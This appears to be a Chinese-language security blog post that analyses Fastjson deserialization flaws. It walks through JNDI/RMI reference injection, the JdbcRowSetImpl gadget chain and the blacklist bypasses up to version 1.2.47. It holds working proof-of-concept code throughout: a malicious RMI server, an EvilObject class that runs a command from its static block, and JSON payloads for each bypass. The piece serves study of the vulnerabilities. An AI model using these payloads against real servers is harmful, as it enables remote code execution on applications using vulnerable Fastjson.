Fastjson JdbcRowSetImpl 链及后续漏洞分析
0x00 前言
在上一篇文章中我们从分析了TemplatesImpl利用链
链接:https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ
但是上篇文章中局限相对较大,需要传入特定的参数以及需要特定的格式,本文的JdbcRowSetImpl利用链利用范围会比TemplatesImpl利用链的利用范围要大一些,但是同样也有着一些限制
由于后面版本的漏洞很多其实都是黑名单绕过的问题(除了最后一个)所以这里就一起写进去了就不单独再写一篇了
0x01 前置知识 - JNDI&RMI
在JdbcRowSetImpl链中会用到相关知识,所以这里先提及一下
RMI的相关知识在前文有过介绍,在上篇文中,主要介绍的都是服务端加载远程codebase从而执行命令,在这里我们主要是客户端进行命令执行
https://mp.weixin.qq.com/s/wYujicYxSO4zqGylNRBtkA
什么是 JNDI
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
JNDI 是应用程序设计的 Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI
下文主要介绍 JNDI & RMI
利用JNDI References进行注入
首先 RMI 服务端除了可以直接绑定远程对象之外,还可以通过 References
类来绑定一个外部的远程对象,当 RMI 绑定了 References
之后,首先会利用 Referenceable.getReference()
获取绑定对象的引用,并且在目录中保存(个人理解就是在 Registry
中保存远程对象的引用),当客户端使用 lookup
获取对应名字的时候,会返回ReferenceWrapper
类的代理文件,然后会调用 getReference()
获取 Reference
类,最终通过factory
类将Reference
转换为具体的对象实例。
客户端:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8000/refObj");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
服务端:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// Reference需要传入三个参数 (className,factory,factoryLocation)
// 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
// ReferenceWrapper包裹Reference类,使其能够通过 RMI 进行远程访问
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
在 ReferenceWrapper 源码中不难看出,该类继承自 UnicastRemoteObject ,实现对 Reference 的包裹从而让 Reference 使其能够通过 RMI
进行远程访问
上面是正常的加载流程,那么从安全学习者的角度考虑我们如何操作才能让客户端进行命令执行
如果我们可以控制 JNDI 客户端中传入的 url 话,那么我们是不是可以自己起一个恶意的 RMI ,让 JNDI 来加载我们的恶意类从而进行命令执行
首先我们来看一下References
,References
类有两个属性,className
和 codebase url
,className
就是远程引用的类名,codebase
决定了我们远程类的位置,当本地 classpath 中没有找到对应的类的时候,就会去请求对应codebase
地址下的类 (codebase
支持http
协议),那么如果我们将 codebase
地址下的类替换成我们的恶意类,这样我们就能让客户端命令执行了
ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码
所以整个利用流程如下:
- 首先开启 HTTP 服务器,并将我们的恶意类放在目录下
- 开启恶意 RMI 服务器
- 攻击者控制 uri 参数为上一步开启的恶意 RMI 服务器地址
- 恶意 RMI 服务器返回
ReferenceWrapper
类 - 目标(JNDI_Client) 在执行lookup操作的时候,在
decodeObject
中将ReferenceWrapper
变为Reference
类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
实验Demo
首先根据上面说的流程我们来复现一下,让我们先看个效果,下文会进行分析
主要为三个文件:JNDI_Client.java
RMI_Server.java
EvilObject.class
JNDI_Client.java
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDI_Client {
public static void main(String[] args) throws Exception{
String jndiName = "rmi://127.0.0.1:1099/test";
Context context = new InitialContext();
context.lookup(jndiName);
}
}
RMI_Server.java
这里利用继承了 UnicastRemoteObject
的ReferenceWrapper
类包装Reference
,从而可被远程访问
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Evil","EvilObject","http://127.0.0.1:8000/");
// 利用ReferenceWrapper包装Reference
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("test",referenceWrapper);
}
}
EvilObject.java
import java.io.IOException;
public class EvilObject {
public EvilObject() {
}
static {
try {
// win用户改成calc即可
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
将上面的 EvilObject 编译成class,放在http服务器下
python -m SimpleHTTPServer 8000
成功弹出计算器:
源码浅析
javax.naming.InitialContext.java#lookup
大约411行左右
这里我们直接跟进这里的 lookup
方法
最后来到这里 com.sun.jndi.rmi.registry.RegistryContext.class
此时通过 lookup
已经获取到了 RMI 服务器上的对象引用(ReferenceWrapper_Stub),并且赋值给了var2,随后进入了decodeObject方法,跟进该方法
decodeObject
函数的内容非常关键,首先会判断我们的 var1 是否是 RemoteReference 的子类,如果是的话就会利用 getReference()
来获取其 Reference
类 ,然后赋值给var3
此时的var3是Reference
类,随后进入getObjectInstance
方法,这里继续跟进
跟进 getObjectInstance
方法后发现会调用 getObjectFactoryFromReference
函数
getObjectFactoryFromReference
函数会根据 Reference
中的className
和 codebase
来加载我们的 factory
类 (即我们http服务器上的恶意类),触发点就在这里面,继续跟进
在getObjectFactoryFromReference
方法中,首先会在本地classpath中寻找是否存在该类,如果本地没有找到就远程加载codebase
指向的类
继续跟进loadClass
方法
最终在loadClass
中进行了实例化,触发了我们静态代码片段中的恶意代码,从而弹出计算器
所以我们最后梳理一下触发的流程:
- 首先 RMI 获取了我们 HTTP 服务器上的远程对象引用,利用 ReferenceWrapper 包装之后绑定在了 Registry 上
- JNDI 客户端根据名字获取到了 RMI 上的引用
- 获取到之后首先利用 getObjectFactoryFromReference 方法对 ReferenceWrapper_Stub 进行了还原 获取到了 Reference 类
- 然后根据 Reference类中的codebase url 远程获取了我们的恶意类并且进行了实例化从而在客户端触发了恶意代码
所以我们在符合 jdk 版本要求的情况下,控制jndi请求的路径,即可进行命令执行,下面的fastjson就是以这个原理触发的
0x02 JdbcRowSetImpl链分析
影响范围: fastjson <= 1.2.24
首先我们来看一下 Demo 后文会进行分析
Poc
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
import fastjsonvuln.User;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
public class FJPoC {
public static void main(String[] args) throws Exception {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
RMI Server
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 第一个参数无所谓,第二个参数为我们http下的类名
Reference refObj = new Reference("whatever", "EvilObject", "http://127.0.0.1:8000/");
System.out.println(refObj);
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
EvilObject
import java.io.IOException;
public class EvilObject {
public EvilObject() {
}
static {
try {
// win用户改成calc即可
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
同样的,将 EvilObject 编译成class,放在web服务器的目录下
触发点还是这里,利用反射触发setAutoCommit方法
进入 setAutoCommit 方法
然后进入了connect
函数方法,然后在connect
函数中,发现利用了jndi
,那么我们如果控制了 dataSourceName
就可以利用 JNDI 注入让客户端进行命令执行了,而这里dataSourceName
恰恰可以控制,所以此处远程加载了我们HTTP服务上的恶意class
从而弹了计算器
0x03 简单总结
在分析完之后我们再来梳理一下,产生漏洞的原因,以及1.2.24 中利用方法的限制
TemplatesImpl 链
优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功)
缺点:版本限制 1.2.22 起才有 SupportNonPublicField 特性,并且后端开发需要特定语句才能够触发,在使用parseObject 的时候,必须要使用JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
JdbcRowSetImpl 链
优点:利用范围更广,即触更为容易
缺点:当fastjson 不出网的话这个方法基本上都是gg(在实际过程中遇到了很多不出网的情况)同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址
0x04 Fastjson的抗争史
1.2.25版本修复
官方修复文档 :https://github.com/alibaba/fastjson/wiki/enable_autotype
这里主要是从两个角度进行了修复
- 自从1.2.25 起 autotype 默认关闭
- 增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制
这里利用 IDEA 自带的代码比较来进行比对
跟进 checkAutoType 函数,在第一个红框处首先会进行一个白名单,如果类在白名单中则会直接进行加载,在经过白名单之后又会经过一个黑名单处理,如果我们的类在黑名单中,会直接抛出报错
同时在1.2.25中扩充了黑名单类
"bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework"
1.2.25-1.2.41 绕过
由于在1.2.24修复中默认关闭了AutoType,所以这里我们要在代码中开启,不然会直接抛出错误
public class FJPoC {
public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
发现在loadclass中,有两个判断,如果开头有 [ 或者 开头是L 结尾是 ; 那么就会去除,这里我们就可以尝试绕过
但是这里其实只有 [xxxxx;
才能进行绕过
{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}
通过源码断点分析,发现 L
开头并不会进行到 TypeUtils.loadClass()
这一步就会报错了
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}
1.2.42 绕过
在该版本中直接换成了哈希校验,不让我们知道黑名单中的类,同时我们来看红框处的代码
在该if中,对类的第一位和最后一位进行了哈希计算,如果第一位是 L
最后一位是 ;
的话就进行去除,但是可以看到这里其实只去除了一次,我们只需要利用常见的复写即可绕过
denyHashCodes 内容如下:
-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L
但是由于加密方法在源码中仍存在,所以我们可以通过哈希碰撞来得出黑名单中的类
com.alibaba.fastjson.util.TypeUtils#fnv1a_64
目前github上已有项目 https://github.com/LeadroyaL/fastjson-blacklist
poc:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}
1.2.43 修复
在 1.2.43 中添加了对于LL
这种绕过方式的判断 ,由于之前的 [
那种类型在之前就会报错,所以这里用 [
是不行的
1.2.45 修复
黑名单绕过
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
修复措施:
扩充黑名单
1.2.25 - 1.2.47 绕过 (通杀
这一块单独拿出来说一下,因为这里的利用思路和前面的不一样
在该payload中,可直接绕过checkAutoType,所以开或不开都可以成功触发
Poc:
RMI 还是上文的那个,所以这里就不重复放了
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/refObj",
"autoCommit":true
}
}
效果图:
绕过分析
在本方法中,主要是利用绕过checkAutoType中的黑名单机制来实现,可以看到这里if判断是 &&,这里的绕过方法就是让后面的那个判断为false,这样就可以绕过黑名单机制了
com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject
首先传入的是java.lang.Class,跟进checkAutoType函数
由于黑名单中并不存在java.lang.Class,所以顺利进行到下面的判断,在deserializers
中寻找对应typeName
的反序列化器,由于java.lang.Class 是默认的类所以汇找到对应的反序列化器
回到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject
364行
继续往下看,发现利用反序列化器进行反序列化
跟进该方法 com.alibaba.fastjson.serializer.MiscCodec#deserialze
177行
继续往下看来到该方法的 231 行,会调用 com.alibaba.fastjson.parser.DefaultJSONParser#parser
方法来取出我们传入的恶意类
跟进看看
跟进com.alibaba.fastjson.parser.DefaultJSONParser#parser
,发现会获取我们传入的恶意类 ,并且进行返回
然后将返回的数值赋值给 objVal
在经过一系列的判断之后会赋值给 strVal
继续往下看,会有有一个关键判断,如果解析出来的clazz为java.lang.Class
,这里就会调用 com.alibaba.fastjson.util.TypeUtils#loadClass
来加载我们的恶意类
这也就是为什么传入的类一定要是java.lang.Class
的原因所在
跟进com.alibaba.fastjson.util.TypeUtils#loadClass
,注意这里默认cache为true,将恶意类缓存到mappings中
这里再来到 com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType
,由于不为TypeUtils.getClassFromMapping(typeName)
不为null,故绕过了黑名单校验,然后在if中取出了我们的恶意类
ps:这里为开启了AutoType 的情况,如果没有开启的话也可以触发,如果没有开启,则红框处的if就不会进入,自然也不会走黑名单,而是直接从mapping中获取
然后直接进行了返回
后面的就和之前的一样了,还是那条链 setvalue中触发,这里不多赘述了
1.2.48 修复
在1.2.48中把缓存默认设为false(屏幕太小只能截一部分裂开..
这样就无法进入该判断了
0x05 总结
fastjson其实还有很多和别的链组合触发的,同时还有很多场景的问题,比如说fastjson不出网,所以本文只是浅显的学习一下,后续还有很多需要学习的地方
0x06 参考链接
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://www.smi1e.top/java代码审计学习之jndi注入/
http://www.lmxspace.com/2019/06/29/FastJson-反序列化学习/#v1-2-47